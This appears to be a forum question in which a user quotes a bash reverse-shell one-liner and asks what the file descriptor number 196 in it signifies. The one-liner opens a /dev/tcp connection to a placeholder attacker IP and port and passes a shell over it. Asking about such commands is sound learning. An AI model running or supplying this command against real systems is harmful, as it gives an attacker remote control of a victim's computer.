Skip to main content
1 of 3
LazyTrout17
  • 153
  • 1
  • 1
  • 5

Reverse Bash Shell one liner

I know that the following code is run a reverse Bash she'll is created from the victims computer to the attackers computer. Can someone please explain to me the significance of the number "196"?

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

This code was taken from https://null-byte.wonderhowto.com/how-to/create-reverse-shell-remotely-execute-root-commands-over-any-open-port-using-netcat-bash-0132658/

LazyTrout17
  • 153
  • 1
  • 1
  • 5